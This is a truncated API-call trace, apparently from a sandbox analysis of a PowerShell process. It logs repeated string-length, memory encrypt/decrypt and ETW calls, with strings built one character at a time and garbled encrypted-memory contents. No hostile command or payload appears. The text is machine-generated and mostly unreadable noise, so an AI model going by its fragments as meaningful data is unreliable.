SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\盚夹䟥霈ㄕ䁣ᮢꕞ⊾) returned 0x18 [0252.080] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.080] SysStringLen (param_1="5yY43OYOoqU3uPx0756X1m艕េ") returned 0x18 [0252.080] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.080] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\陭\ᓚ얧ꏲﾖ䆿赲") returned 0x18 [0252.080] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\陭\ᓚ얧ꏲﾖ䆿赲") returned 0x18 [0252.080] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.081] SysStringLen (param_1="5yY43OYOoqU3uPx0756X1mIេ") returned 0x18 [0252.081] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.081] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\⃚显랸仢옎緈ᔢ唙≝) returned 0x18 [0252.081] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\⃚显랸仢옎緈ᔢ唙≝) returned 0x18 [0252.081] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.081] SysStringLen (param_1="5yY43OYOoqU3uPx0756X1mI/") returned 0x18 [0252.081] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.081] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎") returned 0x18 [0252.082] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎") returned 0x18 [0252.082] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎") returned 0x18 [0252.082] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎") returned 0x20 [0252.082] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.083] SysStringLen (param_1="5yY43OYOoqU3uPx0756X1mI/I洪쉿㔮ᖣ傑") returned 0x20 [0252.083] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.083] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎宇矧쒕㓴⾮衵㦔ü") returned 0x20 [0252.083] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎宇矧쒕㓴⾮衵㦔ü") returned 0x20 [0252.083] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.083] SysStringLen (param_1="5yY43OYOoqU3uPx0756X1mI/IF쉿㔮ᖣ傑") returned 0x20 [0252.083] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.083] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎禟垖ꨅ뉦Ꮫ歹̎") returned 0x20 [0252.083] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎禟垖ꨅ뉦Ꮫ歹̎") returned 0x20 [0252.083] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.083] SysStringLen (param_1="5yY43OYOoqU3uPx0756X1mI/IFk㔮ᖣ傑") returned 0x20 [0252.084] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.084] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎띴﹤籆ଖ⒵瑑ỻＯ") returned 0x20 [0252.084] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎띴﹤籆ଖ⒵瑑ỻＯ") returned 0x20 [0252.084] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.084] SysStringLen (param_1="5yY43OYOoqU3uPx0756X1mI/IFk1ᖣ傑") returned 0x20 [0252.084] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.084] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎澋燷枒а凲莚\ໟ∱) returned 0x20 [0252.084] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎澋燷枒а凲莚\ໟ∱) returned 0x20 [0252.084] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.084] SysStringLen (param_1="5yY43OYOoqU3uPx0756X1mI/IFk1C傑") returned 0x20 [0252.085] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.085] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎犒窣귄ᩗ뇤肔兑") returned 0x20 [0252.085] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎犒窣귄ᩗ뇤肔兑") returned 0x20 [0252.085] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.085] SysStringLen (param_1="5yY43OYOoqU3uPx0756X1mI/IFk1CP傑") returned 0x20 [0252.085] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.085] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎㷨ࡉႳ꼮ᲲЕ囕") returned 0x20 [0252.085] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎㷨ࡉႳ꼮ᲲЕ囕") returned 0x20 [0252.085] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.134] SysStringLen (param_1="5yY43OYOoqU3uPx0756X1mI/IFk1CP+") returned 0x20 [0252.134] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.135] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎萓剼ݯ箶⼰㶂") returned 0x20 [0252.135] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎萓剼ݯ箶⼰㶂") returned 0x20 [0252.135] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.135] SysStringLen (param_1="5yY43OYOoqU3uPx0756X1mI/IFk1CP+V") returned 0x20 [0252.135] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.135] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎ᙼ膙䷍ᥓ﫷뛠ꖉ") returned 0x20 [0252.135] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎ᙼ膙䷍ᥓ﫷뛠ꖉ") returned 0x20 [0252.135] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎ᙼ膙䷍ᥓ﫷뛠ꖉ") returned 0x20 [0252.136] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎ᙼ膙䷍ᥓ﫷뛠ꖉ\x05") returned 0x28 [0252.136] SystemFunction041 (in: Memory=0x3af504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af504) returned 0x0 [0252.136] SysStringLen (param_1="5yY43OYOoqU3uPx0756X1mI/IFk1CP+VO䃬ᑙꉱ㈎熡ᎋ") returned 0x28 [0252.136] SystemFunction040 (in: Memory=0x3af504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af504) returned 0x0 [0252.136] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎ᙼ膙䷍ᥓ﫷뛠ꖉ卼붟릈빳驪똼镗ꚸ") returned 0x28 [0252.136] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎ᙼ膙䷍ᥓ﫷뛠ꖉ卼붟릈빳驪똼镗ꚸ") returned 0x28 [0252.136] SystemFunction041 (in: Memory=0x3af504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af504) returned 0x0 [0252.136] SysStringLen (param_1="5yY43OYOoqU3uPx0756X1mI/IFk1CP+VOxᑙꉱ㈎熡ᎋ") returned 0x28 [0252.136] SystemFunction040 (in: Memory=0x3af504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af504) returned 0x0 [0252.137] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎ᙼ膙䷍ᥓ﫷뛠ꖉ今\ᗘ뀙還쐽ำ≞) returned 0x28 [0252.137] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎ᙼ膙䷍ᥓ﫷뛠ꖉ今\ᗘ뀙還쐽ำ≞) returned 0x28 [0252.137] SystemFunction041 (in: Memory=0x3af504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af504) returned 0x0 [0252.137] SysStringLen (param_1="5yY43OYOoqU3uPx0756X1mI/IFk1CP+VOxSꉱ㈎熡ᎋ") returned 0x28 [0252.137] SystemFunction040 (in: Memory=0x3af504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af504) returned 0x0 [0252.137] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎ᙼ膙䷍ᥓ﫷뛠ꖉ걮\뿞醁訇绷ꄍ띬∰) returned 0x28 [0252.137] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎ᙼ膙䷍ᥓ﫷뛠ꖉ걮\뿞醁訇绷ꄍ띬∰) returned 0x28 [0252.137] SystemFunction041 (in: Memory=0x3af504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af504) returned 0x0 [0252.137] SysStringLen (param_1="5yY43OYOoqU3uPx0756X1mI/IFk1CP+VOxSh㈎熡ᎋ") returned 0x28 [0252.137] SystemFunction040 (in: Memory=0x3af504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af504) returned 0x0 [0252.138] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎ᙼ膙䷍ᥓ﫷뛠ꖉ泀䡯隃勼殚鄾蕭") returned 0x28 [0252.138] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎ᙼ膙䷍ᥓ﫷뛠ꖉ泀䡯隃勼殚鄾蕭") returned 0x28 [0252.138] SystemFunction041 (in: Memory=0x3af504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af504) returned 0x0 [0252.138] SysStringLen (param_1="5yY43OYOoqU3uPx0756X1mI/IFk1CP+VOxShc熡ᎋ") returned 0x28 [0252.138] SystemFunction040 (in: Memory=0x3af504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af504) returned 0x0 [0252.138] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎ᙼ膙䷍ᥓ﫷뛠ꖉ꼽\험\ⓘߡ隇띹钇") returned 0x28 [0252.138] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎ᙼ膙䷍ᥓ﫷뛠ꖉ꼽\험\ⓘߡ隇띹钇") returned 0x28 [0252.138] SystemFunction041 (in: Memory=0x3af504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af504) returned 0x0 [0252.138] SysStringLen (param_1="5yY43OYOoqU3uPx0756X1mI/IFk1CP+VOxShcqᎋ") returned 0x28 [0252.138] SystemFunction040 (in: Memory=0x3af504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af504) returned 0x0 [0252.139] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎ᙼ膙䷍ᥓ﫷뛠ꖉﰨݞㅾٽ㷹竉") returned 0x28 [0252.139] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎ᙼ膙䷍ᥓ﫷뛠ꖉﰨݞㅾٽ㷹竉") returned 0x28 [0252.139] SystemFunction041 (in: Memory=0x3af504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af504) returned 0x0 [0252.139] SysStringLen (param_1="5yY43OYOoqU3uPx0756X1mI/IFk1CP+VOxShcqEᎋ") returned 0x28 [0252.139] SystemFunction040 (in: Memory=0x3af504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af504) returned 0x0 [0252.139] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎ᙼ膙䷍ᥓ﫷뛠ꖉ酵㙺맶ꯣ럛雀충") returned 0x28 [0252.139] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎ᙼ膙䷍ᥓ﫷뛠ꖉ酵㙺맶ꯣ럛雀충") returned 0x28 [0252.139] SystemFunction041 (in: Memory=0x3af504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af504) returned 0x0 [0252.139] SysStringLen (param_1="5yY43OYOoqU3uPx0756X1mI/IFk1CP+VOxShcqEG") returned 0x28 [0252.139] SystemFunction040 (in: Memory=0x3af504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af504) returned 0x0 [0252.140] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎ᙼ膙䷍ᥓ﫷뛠ꖉ៶僪♶薠ࣛ㦗싰") returned 0x28 [0252.140] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎ᙼ膙䷍ᥓ﫷뛠ꖉ៶僪♶薠ࣛ㦗싰") returned 0x28 [0252.140] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎ᙼ膙䷍ᥓ﫷뛠ꖉ៶僪♶薠ࣛ㦗싰") returned 0x28 [0252.140] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎ᙼ膙䷍ᥓ﫷뛠ꖉ៶僪♶薠ࣛ㦗싰") returned 0x30 [0252.140] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0252.141] SysStringLen (param_1="5yY43OYOoqU3uPx0756X1mI/IFk1CP+VOxShcqEG7⽣➃鲸๏뺤䫤࿋") returned 0x30 [0252.141] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0252.141] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎ᙼ膙䷍ᥓ﫷뛠ꖉ៶僪♶薠ࣛ㦗싰㷇⟛꠫\㧝눧㫆ᄝ∔) returned 0x30 [0252.141] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎ᙼ膙䷍ᥓ﫷뛠ꖉ៶僪♶薠ࣛ㦗싰㷇⟛꠫\㧝눧㫆ᄝ∔) returned 0x30 [0252.141] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0252.141] SysStringLen (param_1="5yY43OYOoqU3uPx0756X1mI/IFk1CP+VOxShcqEG7a➃鲸๏뺤䫤࿋") returned 0x30 [0252.141] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0252.141] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎ᙼ膙䷍ᥓ﫷뛠ꖉ៶僪♶薠ࣛ㦗싰뀽缅嘮鞿ಉ䂆꩕감") returned 0x30 [0252.141] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎ᙼ膙䷍ᥓ﫷뛠ꖉ៶僪♶薠ࣛ㦗싰뀽缅嘮鞿ಉ䂆꩕감") returned 0x30 [0252.141] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0252.141] SysStringLen (param_1="5yY43OYOoqU3uPx0756X1mI/IFk1CP+VOxShcqEG7a8鲸๏뺤䫤࿋") returned 0x30 [0252.142] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0252.142] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎ᙼ膙䷍ᥓ﫷뛠ꖉ៶僪♶薠ࣛ㦗싰覄斞軤鸛䧀㎺釋") returned 0x30 [0252.142] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\濚뼓ᙕ䲏\哛⏢⃎ᙼ膙䷍ᥓ﫷뛠ꖉ៶僪♶薠ࣛ㦗싰覄斞軤鸛䧀㎺釋") returned 0x30 [0252.142] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0252.142] SysStringLen (param_1="5yY43OYOoqU3uPx0756X1mI/IFk1CP+VOxShcqEG7a8=๏뺤䫤࿋") returned 0x30 [0252.142] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0252.142] EtwEventActivityIdControl () returned 0x0 [0252.142] EtwEventActivityIdControl () returned 0x0 [0252.142] EtwEventActivityIdControl () returned 0x0 [0252.143] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0252.143] EtwEventActivityIdControl () returned 0x0 [0252.143] EtwEventActivityIdControl () returned 0x0 [0252.143] EtwEventActivityIdControl () returned 0x0 [0252.144] SysStringLen (param_1="") returned 0x8 [0252.144] SysStringLen (param_1="N") returned 0x8 [0252.144] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.144] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0252.145] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0252.145] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.145] SysStringLen (param_1="ND") returned 0x8 [0252.145] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.145] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0252.145] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0252.145] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.145] SysStringLen (param_1="NDZ") returned 0x8 [0252.145] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.145] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0252.145] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0252.145] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.146] SysStringLen (param_1="NDZl") returned 0x8 [0252.146] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.146] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0252.146] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0252.146] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.146] SysStringLen (param_1="NDZlO") returned 0x8 [0252.146] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.146] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0252.146] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0252.146] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.147] SysStringLen (param_1="NDZlOD") returned 0x8 [0252.147] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.147] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0252.147] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0252.147] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.147] SysStringLen (param_1="NDZlODR") returned 0x8 [0252.147] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.147] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0252.147] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0252.147] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.147] SysStringLen (param_1="NDZlODRm") returned 0x8 [0252.148] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.148] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0252.149] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0252.149] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0252.149] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0252.149] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.150] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0252.150] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.150] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0252.150] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0252.150] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.150] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0252.150] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.150] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0252.150] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0252.150] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.151] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0252.151] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.151] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0252.151] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0252.151] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.151] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0252.151] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.151] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0252.151] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0252.151] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.152] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0252.152] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.152] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0252.152] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0252.152] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.152] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0252.152] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.152] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0252.152] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0252.152] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.153] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0252.153] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.153] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0252.153] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0252.153] SystemFunction041 (in: Memory=0x3c4e94, 